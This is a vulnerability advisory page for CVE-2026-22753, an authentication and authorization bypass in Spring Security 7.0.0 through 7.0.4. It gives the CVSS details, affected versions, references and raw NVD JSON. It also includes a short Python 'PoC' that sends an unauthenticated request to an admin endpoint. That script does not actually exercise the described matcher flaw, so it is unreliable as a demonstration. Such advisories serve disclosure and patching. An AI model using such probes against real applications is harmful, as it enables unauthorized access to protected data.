CVE-2026-22753

Description

Vulnerability in Spring Spring Security. If an application is using securityMatchers(String) and a PathPatternRequestMatcher.Builder bean to prepend a servlet path, matching requests to that filter chain may fail and its related security components will not be exercised as intended by the application. This can lead to the authentication, authorization, and other security controls being rendered inactive on intended requests.This issue affects Spring Security: from 7.0.0 through 7.0.4.

CVSS Details

CVSS Score

7.5

Severity

HIGH

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N

Configurations (Affected Products)

cpe:2.3:a:vmware:spring_security:*:*:*:*:*:*:*:* - VULNERABLE

Spring Security 7.0.0

Spring Security 7.0.1

Spring Security 7.0.2

Spring Security 7.0.3

Spring Security 7.0.4

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

import requests

# This PoC demonstrates a request to a protected endpoint
# that might bypass security controls in a vulnerable configuration.

target_url = "http://vulnerable-app/api/admin/users"

# In a vulnerable setup, the specific path matching logic fails,
# allowing this request to proceed without a valid session or token.
response = requests.get(target_url)

if response.status_code == 200:
    print("[+] Potential bypass successful! Received response:")
    print(response.text)
else:
    print("[-] Request blocked or failed.")

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2026-22753
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2026-22753
[3] CVE Details https://www.cvedetails.com/cve/CVE-2026-22753/
[4] VulDB https://vuldb.com/cve/CVE-2026-22753
[5] https://spring.io/security/cve-2026-22753

Raw JSON Data

JSON

{"cve": {"id": "CVE-2026-22753", "sourceIdentifier": "[email protected]", "published": "2026-04-22T06:16:04.160", "lastModified": "2026-04-24T14:17:02.280", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Vulnerability in Spring Spring Security. If an application is using securityMatchers(String) and a PathPatternRequestMatcher.Builder bean to prepend a servlet path, matching requests to that filter chain may fail and its related security components will not be exercised as intended by the application. This can lead to the authentication, authorization, and other security controls being rendered inactive on intended requests.This issue affects Spring Security: from 7.0.0 through 7.0.4."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N", "baseScore": 7.5, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "HIGH", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 3.6}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-693"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:vmware:spring_security:*:*:*:*:*:*:*:*", "versionStartIncluding": "7.0.0", "versionEndExcluding": "7.0.5", "matchCriteriaId": "0B8A5767-EB43-4E11-8E93-9324B70F7060"}]}]}], "references": [{"url": "https://spring.io/security/cve-2026-22753", "source": "[email protected]", "tags": ["Vendor Advisory", "Mitigation"]}]}}